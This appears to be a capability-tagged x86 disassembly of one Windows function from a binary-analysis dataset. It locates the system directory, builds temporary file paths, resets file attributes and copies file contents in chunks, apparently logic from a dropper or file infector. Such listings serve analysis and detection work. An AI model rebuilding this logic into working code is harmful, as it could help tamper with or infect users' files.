Function at 0x40d494
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1a
push 0
push 0
dec ecx
jne 0x40d49c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004037a0
mov ebx, 0x410658
mov edi, 0x4107a4
xor eax, eax
push ebp
push 0x40daa6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x40da76
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004027c0
mov eax, 0x989680
call fcn.00402838
mov dword [0x410914], eax
mov eax, dword [0x410914]
mov dword [0x410918], eax
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x98]
call fcn.00406b6c
push dword [ebp - 0x98]
push 0x40dac8
lea eax, [ebp - 0x94]
mov edx, 4
call fcn.004036ac
mov eax, dword [ebp - 0x94]
call fcn.00406d2c
test al, al
jne 0x40d4dd
mov eax, 0x4108fc
mov edx, 0x90
call fcn.0040387c
push 0x90
mov eax, dword [0x4108fc]
call fcn.004037b0
push eax
call sub.kernel32.dll_GetSystemDirectoryA
test eax, eax
je 0x40d584
mov eax, dword [0x4108fc]
call fcn.004037b0
call fcn.00407020
mov edx, eax
mov eax, 0x4108fc
call fcn.0040387c
jmp 0x40d5a7
lea edx, [ebp - 0x9c]
mov eax, dword [ebp - 4]
call fcn.00406e98
mov edx, dword [ebp - 0x9c]
mov eax, 0x4108fc
mov ecx, 0x40dabc
call fcn.00403638
push 0x80
mov eax, dword [0x4108fc]
call fcn.004037b0
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x40f3f8]
mov byte [eax], 0
lea edx, [ebp - 0xa0]
xor eax, eax
call fcn.00402768
mov edx, dword [ebp - 0xa0]
mov eax, ebx
call fcn.00404c6e
mov edx, 1
mov eax, ebx
call fcn.00404fe9
call fcn.0040265c
mov eax, ebx
call fcn.00404e58
call fcn.0040265c
mov dword [0x410900], eax
mov edx, dword [0x410900]
sub edx, 6
mov eax, ebx
call fcn.00405020
call fcn.0040265c
push 0
lea edx, [ebp - 9]
mov ecx, 1
mov eax, ebx
call fcn.00404d10
call fcn.0040265c
cmp byte [ebp - 9], 0x57
jne 0x40d696
mov eax, ebx
call fcn.00404e14
call fcn.0040265c
mov dword [0x410904], eax
mov edx, dword [0x410904]
mov eax, ebx
call fcn.00405020
call fcn.0040265c
push 0
mov ecx, dword [0x410900]
sub ecx, dword [0x410904]
lea edx, [ebp - 0xe]
mov eax, ebx
call fcn.00404d10
call fcn.0040265c
lea eax, [ebp - 0xa4]
lea edx, [ebp - 0xe]
mov ecx, 5
call fcn.00403478
mov eax, dword [ebp - 0xa4]
call fcn.00406ba0
mov dword [0x410908], eax
jmp 0x40d6a0
mov dword [0x410908], 0x11c00
mov eax, dword [0x40f3f8]
mov byte [eax], 2
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xac]
call fcn.00406b6c
push dword [ebp - 0xac]
push 0x40dac8
lea eax, [ebp - 0xa8]
mov edx, 4
call fcn.004036ac
mov edx, dword [ebp - 0xa8]
mov eax, edi
call fcn.00404c6e
mov edx, 1
mov eax, edi
call fcn.00405000
call fcn.0040265c
push 0x80
mov eax, dword [ebp - 4]
call fcn.004037b0
push eax
call sub.kernel32.dll_SetFileAttributesA
xor edx, edx
mov eax, ebx
call fcn.00405020
call fcn.0040265c
xor esi, esi
cmp esi, dword [0x410908]
je 0x40d768
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8e]
mov ecx, 0x80
mov eax, ebx
call fcn.00404d10
call fcn.0040265c
push 0
lea edx, [ebp - 0x8e]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404d74
call fcn.0040265c
add esi, dword [ebp - 8]
cmp esi, dword [0x410908]
jne 0x40d72b
mov eax, ebx
call fcn.00404dd8
call fcn.0040265c
mov eax, edi
call fcn.00404dd8
call fcn.0040265c
mov edx, dword [0x410914]
mov eax, dword [ebp - 4]
call fcn.0040ce00
push 0x80
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xb4]
call fcn.00406b6c
push dword [ebp - 0xb4]
push 0x40dac8
lea eax, [ebp - 0xb0]
mov edx, 4
call fcn.004036ac
mov eax, dword [ebp - 0xb0]
call fcn.004037b0
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x40f3f8]
mov byte [eax], 0
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404c6e
mov edx, 1
mov eax, ebx
call fcn.00404fe9
call fcn.0040265c
mov eax, dword [0x40f3f8]
mov byte [eax], 2
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbc]
call fcn.00406b6c
push dword [ebp - 0xbc]
push 0x40dac8
lea eax, [ebp - 0xb8]
mov edx, 4
call fcn.004036ac
mov edx, dword [ebp - 0xb8]
mov eax, edi
call fcn.00404c6e
mov edx, 1
mov eax, edi
call fcn.00404fe9
call fcn.0040265c
mov eax, edi
call fcn.00404e58
call fcn.0040265c
mov dword [0x410900], eax
mov edx, dword [0x410900]
mov eax, edi
call fcn.00405020
call fcn.0040265c
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8e]
mov ecx, 0x80
mov eax, ebx
call fcn.00404d10
call fcn.0040265c
push 0
lea edx, [ebp - 0x8e]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404d74
call fcn.0040265c
cmp dword [ebp - 8], 0
jne 0x40d884
mov eax, ebx
call fcn.00404dd8
call fcn.0040265c
mov eax, edi
call fcn.00404dd8
call fcn.0040265c
mov eax, dword [0x40f3f8]
mov byte [eax], 0
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc4]
call fcn.00406b6c
push dword [ebp - 0xc4]
push 0x40dac8
lea eax, [ebp - 0xc0]
mov edx, 4
call fcn.004036ac
mov edx, dword [ebp - 0xc0]
mov eax, ebx
call fcn.00404c6e
mov edx, 1
mov eax, ebx
call fcn.00404fe9
call fcn.0040265c
xor edx, edx
mov eax, ebx
call fcn.00405020
call fcn.0040265c
mov eax, dword [0x40f3f8]
mov byte [eax], 2
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00404c6e
mov edx, 1
mov eax, edi
call fcn.00405000
call fcn.0040265c
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8e]
mov ecx, 0x80
mov eax, ebx
call fcn.00404d10
call fcn.0040265c
push 0
lea edx, [ebp - 0x8e]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404d74
call fcn.0040265c
cmp dword [ebp - 8], 0
jne 0x40d965
mov eax, ebx
call fcn.00404dd8
call fcn.0040265c
mov eax, edi
call fcn.00404dd8
call fcn.0040265c
push 0x80
mov eax, dword [0x4108fc]
call fcn.004037b0
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x80
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xcc]
call fcn.00406b6c
push dword [ebp - 0xcc]
push 0x40dac8
lea eax, [ebp - 0xc8]
mov edx, 4
call fcn.004036ac
mov eax, dword [ebp - 0xc8]
call fcn.004037b0
push eax
call sub.kernel32.dll_SetFileAttributesA
push dword [0x4108fc]
push 0x40dabc
mov eax, dword [0x410914]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xd4]
call fcn.00406b6c
push dword [ebp - 0xd4]
push 0x40dac8
lea eax, [ebp - 0xd0]
mov edx, 4
call fcn.004036ac
mov eax, dword [ebp - 0xd0]
call fcn.00406e30
mov edx, dword [ebp - 4]
mov eax, dword [0x410900]
call fcn.0040cb7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40da80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40daad
lea eax, [ebp - 0xd4]
mov edx, 0x11
call fcn.004033b4
lea eax, [ebp - 4]
call fcn.00403390
ret